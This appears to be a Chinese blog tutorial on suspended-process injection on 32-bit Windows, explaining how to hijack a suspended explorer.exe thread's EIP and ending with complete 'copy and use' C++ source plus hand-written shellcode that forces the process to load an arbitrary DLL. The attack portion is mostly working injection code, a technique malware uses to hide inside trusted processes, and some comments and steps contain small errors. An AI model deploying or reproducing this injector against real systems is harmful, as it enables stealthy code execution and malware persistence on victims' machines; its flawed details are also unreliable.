一丶挂起进程注入简介与前言

挂起进程其实就是在创建进程的时候不让其先执行.然后获取它的EIP 将它的EIP变成我们ShellCode所在的内存.进行执行.不难.

主要分为几步:

1.以CREATE_SUSPENDED标志挂起创建一个你想注入的进程

2.获取这个进程的上下文环境 GetThreadContext 64位下使用Wow64GetThreadContext 请注意.CONTEXT结构还是同一个.使用64的会出错.亲测.(EIP注入的时候测试过.不相信可以去试试)

3.定义自己的ShellCode. ShellCode主要作用就是注入指定路径下的DLL

4.修复ShellCode 因为毕竟ShellCode地址是绝对的所以修复下即可.

5.在目标进程中申请远程可读写执行内存.并且将修复好的ShellCode写入到目标进程

6.将EIP修改为可读写内存的地址.恢复线程则会调用到我们申请地址位置处开始执行.

7.释放一系列资源.

综上所述.其实没有难点.挂起进程注入主要的核心思想就是 挂起进程修改EIP为我们ShellCode起始位置.然后进行调用即可.

这里核心主要是ShellCode

ShellCode如下:

UCHAR g_ShellCode[] = {

   0x68,0x00,0x00,0x00,0x00,        //push Context.EIP 需要修复
0x60, //puad
0x9C, //pushfd
0xE8, 0x00, 0x00, 0x00, 0x00, //call $0 代码重定位
0x5B, //pop ebx
0x83, 0xEB,0x00, //sub ebx,0 可加可不加
0x8D, 0x4B,0x12, //lea ecx,dword ptr ds:[ebx + 0x10] 定位到ShellCode下方获取DLLpath地址
0x51, //push ecx
0xB8, 0x00,0x00,0x00,0x00, //mov eax,LoadLibraryA 修复LoadLibraryA的地址
0xFF,0XD0, //call eax 为啥使用Mov reg,address call reg. 自己去坑吧.
0x9D, //popfd
0x61, //popad
0xC3, //ret
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
};

ShellCode主要知识点有三个

1.保存contex.EIP

2.重定位LoadLibrary的参数

3.重定位LoadLibrary的地址

下面主要针对这几点讲解.

二丶ShellCode核心讲解.

2.1 保存Contex.EIP

首先挂起进程注入. 你通过CONTEXT 这个结构可以获取 目标进程EIP.但是你要想办法执行完ShellCode之后跳转回去.

所以这里我使用了一个简单的方法

push Address
ret

这个方式是利用堆栈.以及ret指令来进行返回的. 当我们保存了原始地址.然后ret的时候.ret会把我们push的地址当做返回地址来执行.

2.2 DLL路径重定位

我们正常来说.调用LoadLibraryA/W的时候.都会进行参数压栈进而进行调用.

如:

push xxxx地址 (地址里面是个DLL路径)
call LoadLibraryA; 调用LoadLibrary

而为了方便我直接代码重定位.直接将ShellCode尾部写入我们的DLL路径.

call $0:
pop ebx

使用这两句可以得到ebx当前指令指定的EIP的地址. 直接当前 EIP + xxx偏移(偏移是你写DLL路径的位置的偏移) 就是我们的参数地址.

2.3 LoadLibrary的重定位

当你直接使用 Call的方式调用LoadLibrary的时候.你还需要计算偏移.各种等等.

但是这种不需要的.为啥. 因为Windows在启动后 kernel32的基址已经固定了.任何程序启动都会默认加载 kernel32的.所以直接使用LoadLibrary当地址即可.

但是你使用Call的方式 (call LoadLibrary) 你还需要计算你的ShellCode 与LoadLibrary的偏移.所以我们直接使用寄存器来做.

mov reg,LoadLibrary
call reg

reg代表任意通用寄存器.

此时我们的ShellCode就可以正常运行了.通过以上步骤就可以开始运行了.

三丶 全部C++代码.拷贝即可使用.


#include <windows.h>
#include <stdlib.h>
#include <stdio.h>
#include <string> using namespace std;
UCHAR g_ShellCode[] = { 0x68,0x00,0x00,0x00,0x00, //push Context.EIP 需要修复
0x60, //puad
0x9C, //pushfd
0xE8, 0x00, 0x00, 0x00, 0x00, //call $0 代码重定位
0x5B, //pop ebx
0x83, 0xEB,0x00, //sub ebx,0 可加可不加
0x8D, 0x4B,0x12, //lea ecx,dword ptr ds:[ebx + 0x10] 定位到ShellCode下方获取DLLpath地址
0x51, //push ecx
0xB8, 0x00,0x00,0x00,0x00, //mov eax,LoadLibraryA 修复LoadLibraryA的地址
0xFF,0XD0, //call eax 为啥使用Mov reg,address call reg. 自己去坑吧.
0x9D, //popfd
0x61, //popad
0xC3, //ret
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, //填写为DLL路径
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 //不够可以继续添加
};
/*
1.挂起创建Explorer
2.创建ShellCode
3.获取上下文环境
4.申请远程内存 写入ShellCode
5.回去上下文环境
ShellCode 可以写定位LoadLibrary 然后进行调用
*/ //1.挂起创建 Explorer
PPROCESS_INFORMATION StartSuspendProcess(string SuspendProcessName,char szComand[])
{ BOOL bRet = FALSE;
PPROCESS_INFORMATION pi = nullptr;
pi = new PROCESS_INFORMATION;;
if (pi == nullptr)
{
return nullptr;
}
STARTUPINFO si = { 0 }; si.cb = sizeof(STARTUPINFO); //创建挂起进程
bRet = CreateProcess(
SuspendProcessName.c_str(),
szComand,
nullptr,
nullptr,
FALSE,
CREATE_SUSPENDED,
nullptr,
nullptr,
&si,
pi);
if (bRet == FALSE)
{
return nullptr;
} return pi;
} //申请远程内存
LPVOID lpExRemoteAllocMemory(HANDLE hProcess,DWORD flAllocation,DWORD Protected)
{
LPVOID lpBuffer = nullptr;
lpBuffer =
VirtualAllocEx(hProcess,
0,
0x1000,
flAllocation,
Protected
); if (lpBuffer != nullptr)
return lpBuffer;
return nullptr;
}
//写入ShellCode到远程内存
DWORD lpWriteRemoteMemory(HANDLE hProcess, LPVOID lpExRemoteMemory)
{
//将ShellCode写入到远程内存
DWORD dwRet = 0;
SIZE_T siWriteBytes;
if (hProcess == 0)
return 0;
if (lpExRemoteMemory == nullptr)
return 0;
dwRet = WriteProcessMemory(
hProcess,
lpExRemoteMemory,
g_ShellCode,
sizeof(g_ShellCode) / sizeof(g_ShellCode[0]),
&siWriteBytes);
return dwRet;
} //修复ShellCode,并且将DLL路径写入到ShellCode位置.
DWORD FixShellCode(DWORD dwContexEip,char* DllPath)
{
/*
纵观全局数据区,ShellCode修复的位置有2处
1.首先要修复原Context的EIP. 这样RET之后直接跳转回去.
2.要修复LoadLibrary的地址. 因为Kernel32是直接加载的都是属于内存映射.所以虚拟地址一样.直接获取填入即可.
不用修复DLLpath. 因为自动进行代码重定位写法了.
*/ //1.修复EIP
__try
{ *(DWORD*)(char*)&g_ShellCode[1] = dwContexEip; //2.修复LodLibrary地址. //修复
*(DWORD*)(char*)&g_ShellCode[21] = (DWORD)LoadLibraryA; //将DLL内容拷贝到ShellCode存放路径处
memcpy((char*)&g_ShellCode[30], DllPath, strlen(DllPath) + 1);
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
//出错了.
} return 1;
}
void run()
{
DWORD dwRet = 0;
LPVOID lpStartRemoteAddress = nullptr;
//1.挂起创建进程
PPROCESS_INFORMATION pi = nullptr;
char szCmd[] = "";
pi = StartSuspendProcess("C:\\Windows\\SysWOW64\\explorer.exe",szCmd);
if (!pi)
{
return;
} //2.获取进程上下文环境.
CONTEXT MyContext = { 0 };
MyContext.ContextFlags = CONTEXT_FULL;
dwRet = GetThreadContext(pi->hThread, &MyContext);
if (!dwRet)
{
return;
} //3.修复ShellCode的值.并且写入自己的DLL路径
char szDllPath[] = "填入你的DLL路径.如: C:\\xxx.dll";
dwRet = FixShellCode(MyContext.Eip,szDllPath); //4.申请远程内存
lpStartRemoteAddress = lpExRemoteAllocMemory(pi->hProcess, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (lpStartRemoteAddress == nullptr)
{
return ;
} //5.将ShellCode写入到内存中
dwRet = lpWriteRemoteMemory(pi->hProcess, lpStartRemoteAddress); //6.恢复进程启动,修改EIP为我们的ShellCode MyContext.Eip = (DWORD)lpStartRemoteAddress;
SetThreadContext(pi->hThread, &MyContext);
ResumeThread(pi->hThread); //请注意这里 EIP修改为我们的ShellCode位置.还要恢复线程才会进行执行.
//释放一系列资源
VirtualFreeEx(pi->hProcess, lpStartRemoteAddress, 0x1000, MEM_RELEASE);
CloseHandle(pi->hProcess);
CloseHandle(pi->hThread); }
int main()
{
run(); return 0;
}

ring3 x32挂起进程注入原理.的更多相关文章

  1. [Cuckoo SandBox]注入原理篇

    1.LoadExe 接python版本 通过调用LoadExe去加载Dll进行注入 所以先看LoadExe 加载器的功能吧 通过python管道接收到  processID,ThreadID,路径 , ...

  2. 十种MYSQL显错注入原理讲解(二)

    上一篇讲过,三种MYSQL显错注入原理.下面我继续讲解. 1.geometrycollection() and geometrycollection((select * from(select * f ...

  3. Java程序员从笨鸟到菜鸟之(一百)sql注入攻击详解(一)sql注入原理详解

    前段时间,在很多博客和微博中暴漏出了12306铁道部网站的一些漏洞,作为这么大的一个项目,要说有漏洞也不是没可能,但其漏洞确是一些菜鸟级程序员才会犯的错误.其实sql注入漏洞就是一个.作为一个菜鸟小程 ...

  4. SQL注入原理

    随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多.但是由于这个行业的入门门槛不高,程序员的水平及经验也参差不齐,相当大一 部分程序员在编写代码的时候,没有对用户输入数据的合法性 ...

  5. Mysql报错注入原理分析(count()、rand()、group by)

    Mysql报错注入原理分析(count().rand().group by) 0x00 疑问 一直在用mysql数据库报错注入方法,但为何会报错? 百度谷歌知乎了一番,发现大家都是把官网的结论发一下截 ...

  6. sql注入--双查询报错注入原理探索

    目录 双查询报错注入原理探索 part 1 场景复现 part 2 形成原因 part 3 报错原理 part 4 探索小结 双查询报错注入原理探索 上一篇讲了双查询报错查询注入,后又参考了一些博客, ...

  7. PHP依赖注入原理与用法分析

    https://www.jb51.net/article/146025.htm 本文实例讲述了PHP依赖注入原理与用法.分享给大家供大家参考,具体如下: 引言 依然是来自到喜啦的一道面试题,你知道什么 ...

  8. 菜鸟详细解析Cookie注入原理

    一.SQL注入原理 我以aspx为例,现在我们来研究下Cookie注入是怎么产生的,在获取URL参数的时候,如果在代码中写成Request[“id”],这样的写法问题就出现了.我先普及下科普知识,在a ...

  9. 回头探索JDBC及PreparedStatement防SQL注入原理

    概述 JDBC在我们学习J2EE的时候已经接触到了,但是仅是照搬步骤书写,其中的PreparedStatement防sql注入原理也是一知半解,然后就想回头查资料及敲测试代码探索一下.再有就是我们在项 ...

随机推荐

  1. Python面向对象封装案例

    01. 封装 封装 是面向对象编程的一大特点 面向对象编程的 第一步 —— 将 属性 和 方法 封装 到一个抽象的 类 中 外界 使用 类 创建 对象,然后 让对象调用方法 对象方法的细节 都被 封装 ...

  2. (一)类型转换 is 和 as

    c# 是强类型语言. CLR最重要的特性之一就是 类型安全,在运行时,CLR总是知道对象的类型是什么,C#所有的类的继承自system.Object ,所以都包含GetType方法,调用GetType ...

  3. 聊一下domain和entity

    这段时间在负责海外事务,今天带着客户端走海外商店的支付流程.因为在国内接的大多数是渠道聚合的SDK,客户端就很少关注支付业务流程,只是按照以前的接的demo然后按照渠道提供的参数就直接上了.先po一张 ...

  4. DataPipeline丨LinkedIn元数据之旅的最新进展—Data Hub

    作者:Mars Lan, Seyi Adebajo, Shirshanka Das 译者: DataPiepline yaran 作为全球最大的职场社交平台,LinkedIn的数据团队不断致力于扩展其 ...

  5. Android中自定义环形图2

    如图: 自定义属性,在values文件夹下创建 attrs.xml <?xml version="1.0" encoding="utf-8"?> & ...

  6. ubuntu升级python版本(3.5 -> 3.6)

    #获取最新的python3.6,将其添加至当前apt库中,并自动导入公钥 $ sudo add-apt-repository ppa:jonathonf/python-3.6 $ sudo apt-g ...

  7. Golang: 并发抓取网页内容

    在上一篇中,我们根据命令行的 URL 参数输入,抓取对应的网页内容并保存到本地磁盘,今天来记录一下如何利用并发,来抓取多个站点的网页内容. 首先,我们在上一次代码的基础上稍作改造,使它能够获取多个站点 ...

  8. Centos7永久修改IP地址(NAT模式)

    永久修改IP地址,即为设置静态的IP地址. 一.修改IP地址前需要准备的工作 1.虚拟机需要使用NAT的网络模式 虚拟机关机状态下,点击"编辑虚拟机设置",点击"网络适配 ...

  9. 目标检测论文解读4——Faster R-CNN

    背景 Fast R-CNN中的region proposal阶段所采用的SS算法成为了检测网络的速度瓶颈,本文是在Fast R-CNN基础上采用RPN(Region Proposal Networks ...

  10. Android 还可以走多久?

    最近,有位知识星球的球友问我这么一个问题: 我做 Android 开发五年多时间了,但是最近总是很焦虑,看着人工智能越来越火,很担心 Android 要不行了,想问下,我现在要转行么?Android ...